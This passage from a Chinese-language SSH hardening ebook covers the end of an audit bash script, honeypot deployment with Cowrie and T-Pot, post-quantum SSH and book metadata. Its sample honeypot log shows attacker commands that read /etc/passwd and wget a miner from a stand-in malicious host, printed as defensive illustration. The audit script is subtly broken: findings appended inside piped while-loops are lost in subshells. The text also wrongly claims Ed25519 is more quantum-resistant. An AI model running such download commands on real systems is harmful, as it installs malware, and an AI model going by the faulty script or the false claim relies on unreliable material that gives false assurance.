    WARNINGS+=("[WARNING] MaxAuthTries is $MAX_AUTH (recommend ⩽ 5)")
fi

# 4. 检查 SSH 版本
SSH_VERSION=$(sshd -V 2>&1 | head -1)
log "OpenSSH version: $SSH_VERSION"

# 5. 检查 authorized_keys 文件权限
find /home /root -name "authorized_keys" -perm /o+w 2>/dev/null | while read f; do
    WARNINGS+=("[WARNING] authorized_keys world-writable: $f")
done

# 6. 检查 .ssh 目录权限
find /home /root -type d -name ".ssh" -perm /o+rw 2>/dev/null | while read d; do
    WARNINGS+=("[WARNING] .ssh directory world-accessible: $d")
done

# 7. 检查 SSH banner 是否暴露版本
BANNER=$(sshd -T 2>/dev/null | grep "^banner" | awk '{print $2}')
if [ -z "$BANNER" ]; then
    # 检查 banner 内容
    if grep -q "^DebianBanner" /etc/ssh/sshd_config; then
        WARNINGS+=("[INFO] DebianBanner is configured")
    fi
fi
```

```
# 8. 检查 fail2ban 状态
if ! systemctl is-active fail2ban >/dev/null 2>&1; then
    WARNINGS+=("[WARNING] fail2ban is not active")
fi

# 9. 检查 auditd 状态
if ! systemctl is-active auditd >/dev/null 2>&1; then
    WARNINGS+=("[WARNING] auditd is not active")
fi

# 输出报告
echo "===== SSH 安全基线检查报告 ====="
for w in "${WARNINGS[@]}"; do
    echo "$w"
done
echo "================================="
```

**配合 cron 每周跑一次**：

```
echo "0 9 * * 1 root /usr/local/bin/ssh_audit.sh | mail -s 'Weekly SSH Audit' admin@example.com" > /etc/cron.d/ssh_audit
```

## 6.4　蜜罐部署：观察攻击者 TTP 的实战价值

**蜜罐（Honeypot）**是诱捕攻击者的”陷阱系统”。它模拟真实的 SSH 服务，记录攻击者的所有行为，用于：

- 研究攻击者的 TTP（Tactics, Techniques, Procedures）
- 提前获得威胁情报（攻击者用了什么新工具、新字典）
- 转移攻击者的注意力（让他们花时间在蜜罐上）

### 6.4.1　Cowrie SSH 蜜罐的部署

**Cowrie**（github.com/cowrie/cowrie）是一个成熟的 SSH/Telnet 蜜罐，模拟一个完整的伪文件系统。

```
# 安装
git clone https://github.com/cowrie/cowrie.git
cd cowrie
python3 -m venv cowrie-env
source cowrie-env/bin/activate
pip install -r requirements.txt

# 配置
cp etc/cowrie.cfg.dist etc/cowrie.cfg
# 编辑 cowrie.cfg 修改端口、监听地址等

# 启动
bin/cowrie start

# 验证：尝试连接蜜罐
ssh -p 2222 root@localhost
# 输入任意密码，应该被" 接受"，进入伪造的 shell
```

**Cowrie 记录的内容**：

- 攻击者输入的所有命令
- 攻击者下载的所有文件
- 攻击者尝试的所有用户名/密码
- 攻击者的 IP、登录时间、协议

**Cowrie 输出的典型日志**：

```
2026-07-19 03:14:22+0800 [SSHService ssh-userauth on HoneyPotTransport,0,ip] login attempt [axu/123456] succeeded
2026-07-19 03:14:25+0800 [SSHService ssh-userauth on HoneyPotTransport,0,ip] login attempt [axu/password] succeeded
2026-07-19 03:14:30+0800 [SSHService ssh-exec on HoneyPotTransport,0,ip] CMD: uname -a
```

```
2026-07-19 03:14:32+0800 [SSHService ssh-exec on HoneyPotTransport,0,ip] CMD: cat /etc/passwd
2026-07-19 03:14:35+0800 [SSHService ssh-exec on HoneyPotTransport,0,ip] CMD: wget http://malicious.com/xmrig.tar.gz
```

### 6.4.2 T-Pot 集成部署

**T-Pot** (github.com/telekom-security/tpotce) 是多蜜罐集成平台，把 Cowrie、Dionaea、Honeytrap 等 20+ 蜜罐打包到一个 Docker 平台里：

```
# 一键部署 T-Pot（要求至少 8GB 内存，2 核 CPU）
git clone https://github.com/telekom-security/tpotce.git
cd tpotce
./install.sh

# 默认 Web UI 在 https://<server-ip>:64297
# 内置 Kibana、ElasticSearch、Grafana
```

**T-Pot 的价值**：

- 一次性看到 20+ 种蜜罐捕获的攻击
- 内置可视化仪表板
- 内置 ELK 集成
- 适合：暴露面监控、威胁情报收集、安全研究

**蜜罐部署的最佳实践**：

- 蜜罐**独立于生产网络**——它被攻破不应该影响业务
- 给蜜罐**单独的 IP 段**，方便识别蜜罐流量
- 蜜罐内部**没有真实业务**——攻击者拿到”权限”也只能在伪文件系统里逛
- 蜜罐的日志**集中到独立 SIEM**——攻击者可能清理蜜罐日志
- 蜜罐自身**持续更新**——新攻击 TTP 需要新检测

# 第 7 章

# 思维升华

## 7.1 安全的本质：Trade-off 的哲学

**安全是一个不断变化的光谱，不是一个二元状态**。当我们说”系统是安全的”，我们实际在说”在当前的威胁模型、攻击能力、时间窗口下，攻击成本高于资产价值”。

SSH 暴力破解的防御就是一个典型的 trade-off:

- **极致便利**：22 端口 + 密码 + 任意 IP → 易用，脆弱
- **极致安全**：仅内网 + 仅密钥 + 多因素 + 仅堡垒机 + Zero Trust → 安全，笨重
- **合理中间地带**：基于身份的最小权限 + 密钥 + 多因素 + 审计 + 纵深防御

**没有银弹**。任何一项便利的提升都会伴随攻击面的扩大。任何一项安全增强都会带来成本和复杂度。安全工程的本质，是**在业务可接受的范围内，找到最佳的平衡点**。

我们经常说：“**没有银弹，只有权衡**。”

这句话的深意是：**别追求完美的安全，去追求合理的、可演进的、可适应的安全**。当威胁变化时，你的防御也要变化；当业务变化时，你的策略也要变化。**安全不是静态的目标，而是动态的工程**。

## 7.2 攻防对抗的演化方向

**AI 攻防**:

- **攻击侧**：用 LLM 生成钓鱼邮件、自动化发现漏洞、生成更聪明的字典
- **防御侧**：用 AI 分析日志异常、自动生成检测规则、识别新型攻击 TTP

**云原生挑战**:

- 容器、Serverless 让”SSH”的概念在变化
- Kubernetes 的 `kubectl exec` 替代了部分 SSH 场景
- 但 SSH 仍然是容器内部、节点管理的事实标准

**5G/IoT 的边缘节点**:

- 数以亿计的边缘设备暴露 SSH
- 很多设备固件更新困难
- 这是一个**新的攻击面**

## 7.3 Post-Quantum SSH：抗量子算法

**量子计算的威胁**:

- Shor 算法能在多项式时间内解决大整数分解、离散对数问题

- 这意味着 RSA、ECDSA 在量子计算面前都不安全
- 一旦大规模量子计算机出现（预计 10-20 年内），现有 SSH 密钥体系可能崩溃

**抗量子算法（PQC，Post-Quantum Cryptography）**：

- **NTRU**：基于格的加密
- **CRYSTALS-Kyber**：NIST PQC 标准化算法，密钥封装
- **CRYSTALS-Dilithium**：NIST PQC 标准化算法，数字签名
- **FALCON**：另一种签名算法

**OpenSSH 的 PQC 支持**：

- OpenSSH 9.0+ 已经支持 **hybrid key exchange**（x25519 + sntrup761）
- 这是”传统算法 + PQC 算法”的混合方案，能在升级到 PQC 的同时保持兼容性

```
# OpenSSH 9.0+ 默认的 hybrid 密钥交换
# KexAlgorithms sntrup761x25519-sha512@openssh.com

# 查看你的 SSH 支持的算法
ssh -Q kex
```

**前瞻性建议**：

- 新生成的密钥优先选 Ed25519（抗量子更好）
- 关注 OpenSSH 的 PQC 进展
- 长期数据加密要考虑 PQC 迁移路径

## 7.4　持续学习的重要性：攻防是动态平衡

**攻防的世界里没有”一劳永逸”**。今天的安全配置明天就可能失效——新的 CVE 出现、新的攻击 TTP 涌现、新的攻击者画像出现。

**持续学习的路径**：

- **订阅威胁情报**：US-CERT ·Mandiant ·CrowdStrike ·Recorded Future
- **跟踪开源项目变更**：OpenSSH release notes ·fail2ban ·CrowdSec changelog
- **阅读安全研究报告**：Verizon DBIR ·ENISA Threat Landscape ·Mandiant M-Trends
- **参与社区**：GitHub Security Lab ·OWASP ·DEF CON 演讲录像
- **动手实验**：搭建自己的 SSH 测试环境（vagrant ssh-hardening lab 或本地 VM），演练攻击和防御
- **复盘真实事件**：每次公开的安全事件都是学习机会。参考 have i been pwned 查询泄露凭证

**复利思维**：每天学一点安全知识，1 年后你会成为团队的安全专家。

## 7.5　给读者的寄语

SSH 暴力破解不是一个新话题——它已经存在了 30 年，未来也不会消失。但**它的形态、规模、危害程度都在变化**。

20 年前的 SSH 暴力破解是几个脚本小子在折腾，今天的 SSH 暴力破解是国家背景的 APT 组织 + 商业勒索团伙 + 庞大 Botnet 协同作战。**攻击者已经升级，防御者也必须升级**。

写到这里，我想用一句话总结全文的核心论点：

> **SSH 暴力破解不是单一攻击，而是完整攻击链的起点；SSH 安全不是单一配置，而是纵深防御的体系**。

把这句话记住，你就抓住了 SSH 安全的精髓。

下一步行动清单：

- **今天**：禁用密码登录、开启密钥认证
- **本周**：部署 fail2ban 或 CrowdSec、配置防火墙

- **本月**：建立日志集中、审计告警
- **本季度**：评估 Zero Trust 方案、部署堡垒机
- **长期**：培养安全团队、建立安全文化

**江湖路远，攻防无尽**。愿你的 SSH 永远稳如磐石，江湖无人能破。

---

## 7.6 附录：参考资料与延伸阅读

**威胁情报与统计**

- Verizon DBIR 2024
- ENISA Threat Landscape
- Censys State of the Internet
- MITRE ATT&CK

**核心工具**

- OpenSSH
- fail2ban
- CrowdSec
- auditd
- AIDE
- Cowrie
- T-Pot

**高级方案**

- Teleport
- Tailscale SSH
- Cloudflare Tunnel
- HashiCorp Vault SSH
- WireGuard

**学术与标准**

- Cyber Kill Chain
- NIST SP 800-63B（认证指南）
- RFC 6238（TOTP）
- IETF Post-Quantum

**延伸阅读**

- OpenSSH 官方文档
- Linux Audit 文档
- NIST SP 800-53（安全控制）

---

**关于作者**：LeisureLinux 是一个面向运维、安全、DevOps 工程师的技术公众号，由老徐（@leisurelinux）维护。我们相信”技术有温度，安全有哲学”，致力于用最朴素的方式解读最硬核的内容。

欢迎分享本书给您身边的同行。江湖路远，我们一起切磋。

# 第 8 章

# 版本信息

本页为电子书的自动生成元数据，会出现在 PDF / ePub / HTML 三个格式的最后一页。

| 字段 | 值 |
|---|---|
| 当前版本 | v0.2.0 |
| 下一待发布版本 | v0.3.0 |
| 发布日期 | 2026 年 8 月 1 日 |
| 仓库 | https://github.com/LeisureLinux/ebook-ssh-hardening |
| 在线阅读 | https://leisurelinux.github.io/ebook-ssh-hardening/ |
| 许可 | MIT License —© 2026 LeisureLinux |

## 8.1 本次版本修订记录 (v0.2.0)

- feat(seo): GEO/SEO optimization —llms.txt, Schema.org, audit script, sitemap
- docs: cross-link to procfs-hardening sister ebook

## 8.2 历史版本

| 版本 | 日期 | 主要变更 |
|---|---|---|
| v0.2.0 | 2026-08-01 | feat(seo): GEO/SEO optimization —llms.txt, Schema.org, audit script, sitemap |
| v0.1.9 | 2026-07-22 | fix(ebook): URL linkification + code block wrapping + colophon alignment |
| v0.1.8 | 2026-07-22 | fix(ebook): appendix URLs to markdown links + auto-rendered colophon |
| v0.1.7 | 2026-07-22 | fix(ebook): revert over-eager bullet separation + soft-wrap long URLs |
| v0.1.6 | 2026-07-22 | fix(workflow): move strip_landmarks to scripts/strip_landmarks.py |
| v0.1.5 | 2026-07-22 | fix(ebook): bullet 换行 + 代码块围栏 + 关于作者最后一句 |
| v0.1.4 | 2026-07-22 | fix(ebook): ePub 排版 6 项问题 |
| v0.1.3 | 2026-07-22 | fix(ebook): ePub CJK font fallback + cover SVG re-render with CJK |
| v0.1.2 | 2026-07-22 | fix(ebook): promote H4 to H3 so subsections render as 3.1.1 not 3.1.0.1 |
| v0.1.0 | 2026-07-22 | fix(workflow): add pages:write and id-token:write permissions |

本书使用 Pandoc + XeLaTeX 构建，字体采用 Noto Serif CJK SC，通过 GitHub Actions 自动构建并发布到 GitHub Pages。